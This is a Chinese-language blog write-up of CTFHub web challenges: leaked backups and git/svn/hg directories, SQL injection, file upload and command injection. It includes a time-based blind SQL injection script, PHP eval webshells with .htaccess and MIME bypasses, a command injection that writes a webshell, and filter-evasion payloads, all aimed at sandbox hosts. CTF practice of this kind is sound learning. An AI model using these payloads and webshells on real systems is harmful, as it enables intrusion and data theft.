This page looks best with JavaScript enabled

ctfhub writeup

 ·  ☕ 7 min read · 👀... views

信息泄露

目录历遍

直接找就行。。。

PHPINFO

进去直接 ctrl+f 搜flag就行。。。

备份文件下载

网站源码

提示一些相关的名字

可以写个简单的脚本爆破一下 当然也可以 dirsearch 直接扫

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests
url = "http://challenge-c93f188d4781b829.sandbox.ctfhub.com:10080/"
a = ['web','website','backup','back','www','wwwroot','temp']
b = ['tar','tar.gz','zip','rar']

for i in a:
	for j in b:
		pos = url + i + '.' + j
		r = requests.get(pos)
		print(i)
		print(j)
		print(r)

获得源码解压后有个 flag.txt 但是里面不是flag 还有个奇怪的 50x.html 尝试直接访问这个奇怪的 html 没用 直接访问这个 flag.txt 就出了

bak文件

看到题目就下意识 备份文件后缀是 .bak (linux命名的习惯)

打开网页 提示flag在 flag.php 里 加上后缀 down 下文件 flag就在里面

vim缓存

又是考常识吧 linux下vim的缓存文件后缀是 .tmp 而且是隐藏文件 有个 . 的前缀

把下下来的文件放 linux 读缓存就行了

.DS_Store

.DS_Store 是macos系统下的包含文件目录的文件

下载文件并用脚本分析 然后到靶机打开这个目录就行

Git泄露

真的不知道为什么 不管是 win 还是 linux 都没反应 重装了也不行

Githack 不能用的问题解决了 是脚本的问题 这里感谢一下评论区的师傅

亲测可用的 Githack链接: https://github.com/BugScanTeam/GitHack

Log

相对简单的一题 知识点:

  • git log可以查看日志 就是看看历史版本中都干了些什么
  • git reset –hard 版本号 就可以回到指定的版本
git reset --hard xxxxxxxxxxxxxxx

Stash

做这题之前 需要知道 stash 是什么东西

git stash是git一个很有用的命令,它的作用是把当前未提交的修改暂存起来,让仓库还原到最后一次提交的状态。常用于更新、同步代码或者保存多个修改版本等情况下。

个人感觉这篇百度经验写的精简明了

git stash	# git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。
git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。
git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。
git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。
git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。
git stash clear #清除所有的stash条目。
git show stash@{n}	#当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容

Index

??? 这题简单地离谱。。。flag就在当前目录下 。。。我还以为是假的呢 那么为啥他是第三题。。。。

SVN泄露

使用 dvcs-ripper 工具中的 rip-svn.pl 脚本

脚本使用过程可能会遇到下面类似的很长的报错

install_driver(SQLite) failed: Can’t locate DBD/SQLite.pm

解决方法 强烈建议开靶机前解决这个问题 不然很可能需要多花金币续费靶机

HG泄露

还是上一个脚本库里的 rip-hg.pl

1
2
#一定要加 -v 不然 down 不下来的
./rip-hg.pl -v -u http://challenge-365f72206c2c35b5.sandbox.ctfhub.com:10080/.hg/

然后就是文件夹里一顿疯找 但是什么都找不到 但是很多个文件 里面都有关于 flag.txt 的

看到这个就很清楚了 直接访问这个 flag.txt

密码口令

弱口令

第一次开靶机真的没有爆出来 真的郁闷 密码是随机的

默认口令

没有用户名会提醒没有用户名 筛选用户名 选择对应口令就可以
图片来自互联网

SQL注入

SQL 整数型注入

id从3开始就没有回显 可以在3以后的数注

注得数据库结构如下

  • sqli
    • news
      • id //1,2,114514
      • data //ctfhub,skill,sqli
    • flag
      • flag

SQL字符型注入

数据库还是跟上一题一样 就是搜索方式 从数字变成字符 闭合一下前面的引号就可以了 本题不再赘述
理论上来说你可以直接注 flag 表里的 flag 字段(我就是这么做的 太懒了)

SQL报错注入

updatexml 最长显示32位数 这题不能用

使用

1
1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

时间盲注

学习的话可以参考这个
靶机续费了两次 亏死了 下面这个图里跑出来的flag是错的 QWQ 最后开第二遍跑出来了

先手测一下 数据库 按出题人尿性都是 sqli 然后 匹配一下 s 看看 再匹配 a 对比一下

用我蹩脚的python(我靶机续费两次的原因之一,,,,,,,QWQ) 写波脚本跑一下

然后完善脚本把 数据表 字段和flag都跑出来 脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#写脚本水平很低 大神不要喷哈
#使用的话只要稍微改几个参数就行了
import requests
import time

url = "http://challenge-9514b2cf659c25a1.sandbox.ctfhub.com:10080/?id="
des = ""

for k in range(0,1):
	print(k)
	for i in range(1,60):
		for j in 'abcdefghijklmnopqrstuvwxyz}{0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ':
			# 数据库
			# sql = "if(substr(database(),%d,1)='%s',sleep(1),1) #" %(i,j)
			# 数据表
			# sql = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,j)
			# 字段
			# sql = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,j)
			# 字段内容
			sql = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,j)
			t1 = time.time()
			r = requests.get(url+sql)
			t2 = time.time()
			if(t2-t1 > 1):
				des += j
				print(des)
				break
	print("des:" + des)
	des = ""

MySQL结构

就是普通手注就行…….为啥它放这么下面…….不想写了

算了 sqlmap 跑一波吧 这么多题还没跑过 sqlmap 呢 结果 sqlmap 跑还没手注快…..真实……

Cookie注入

抓包cookie后面 id后有一串东西像url编码 但是解出来乱码 直接改 id=1 试试

手注发现有两处回显 无任何绕过

注得数据库结构

  • sqli
    • news
      • id
        • 1,2,114514
      • data
        • ctfhub,skill,sqli
    • nooslnmxuf
      • vuhgcinlvb
        • ctfhub{8283144bd2b701f08311ac069af61fabdf227936}\

sqlmap也能跑出来

python sqlmap.py -u “http://challenge-192a33ee430cafd7.sandbox.ctfhub.com:10080/" –cookie “id=1” –dbs

UA注入

UA注入介绍

依然手注 依然无任何绕过 依然两个回显

注得数据库结构

  • sqli
    • news
      • id
        • 1,2,114514
      • data
        • ctfhub,skill,sqli
    • rnarxnqskp
      • ahlzriucqp
        • ctfhub{df17b7f5fff86cb0176e077e0231c5ce567fb3ac}

Refer注入

我觉得还是一模一样的套路 不想写了…….唯一要注意的就是refer头要自己加

ipploqowdc
ozknttspso
ctfhub{5cca896d0b05a1eb8977197827b33b57df87aacb}

文件上传

无验证

传个马上去

蚁剑连上去

找到flag

前端验证

php改名字前端上传 抓包改回php 一样的操作连蚁剑 取flag

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

简单来说就是操控服务器让他允许你做事

百度百科链接

.htaccess 利用方法 参考博文

法一

# FileMatch 参数即为文件名的正则匹配
<FilesMatch "sniperoj">
  SetHandler application/x-httpd-php
</FilesMatch>
1
<?php eval($_GET['c']);?>

法二

AddType application/x-httpd-php .jpg
1
<?php @eval($_GET['ma']);?>

写个 .htaccess 文件 写个 马 后缀改 jpg(你允许的后缀) 然后上传蚁剑连一下就行了

MIME绕过

MIME:客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

简单来说就是从 http 报文判断一下你上传的文件的类型

写个马 Content-Type 字段中的值改成 image/gif 就行了 然后连蚁剑拿flag

文件头检查

画图软件随便弄个图 抓包最后加上马 然后改名 php 蚁剑连上就行

00截断

  • 00截断原理

  0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

  • 00截断的限制条件
PHP<5.3.29,且GPC关闭

传个普通的 temp.php 马上去抓包

修改的地方可以有两个 1.上面地址 2.下面文件名 这里建议改上面的 原因

我下面文件 temp.php 改成 temp.jpg 不然没法上传

上面的地址改的是 ma.php 所以连的时候连 ma.php

这样更容易理解吧

双写后缀

这就不用多讲了吧 题目都告诉你怎么做了 双写后缀就行 不过这个命名稍微有点讲究 稍微注意下就行

RCE

命令注入

可以先试一下 ping 127.0.0.1 然后 列一下目录

127.0.0.1 & ls


可以看到一个纯数字的 php文件 里面绝对就是flag 最后那个 ma.php 是我后来传的

尝试cat一下那个文件 发现被屏蔽了 more tac 等命令全都被屏蔽了 那么问题来了 这题跟第二题 屏蔽cat 有什么区别

可以任意命令执行 直接重定向个马上去 用蚁剑连就可以了

127.0.0.1 & echo “<?php @eval($_POST[‘ma’]);” > ma.php

重定向:简单来说就是命令行的输入和输出换个地方输入或者输出 可以直接往文件输出。

过滤cat

跟上一题完全一样 不赘述

过滤空格

过滤空格方法

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这道题目差点让我自闭

1
2
3
4
5
#列一下目录
#这里&& 和 || 都可以 照理说 || 是不行的 应该用 && 
127.0.0.1||ls
#cat一下 flagxxxx.php
127.0.0.1||cat<flagxxxx.php


然后我一直自闭在这里明明没有空格 他也正常执行了 为什么返回一个空行呢

反复尝试了无数遍后我无奈地打开wp但是发现wp跟我一样QWQ 原地裂开更加怀疑人生

最后靶机还有 30s 的时候(一定要看源码!!!)

过滤目录分隔符

列一下目录

127.0.0.1 || ls

列一下 flag目录

127.0.0.1 || ls flag_is_here

只有一个 flag.php

切换到 flag 目录再cat flag.php

127.0.0.1 || cd flag_is_here&&cat flag_40921853324810.php

过滤运算符

列目录 分号类类似于很多编程语言的分号 所以理论上你的所有 php 都可以写在一行里

;ls

然后 cat 一下flag就可以了 感觉这题比前面几题都简单一些

综合练习

首先尝试了下把分号url编码 不过是没用的 换行符 url 编码 %0a

要直接在地址栏输入不然 % 会被转成url编码 %25 我这里只是演示

1
%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)

这么长要一个一个转化为十六进制 然后手差点断掉。。。

1
%0Aca%27%27t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x33\x32\x31\x30\x38\x36\x39\x39\x31\x33\x30\x34\x30\x32\x2e\x70\x68\x70")

上面的全部原理都在下面这张图中

Share on

ruokeqx
WRITTEN BY
ruokeqx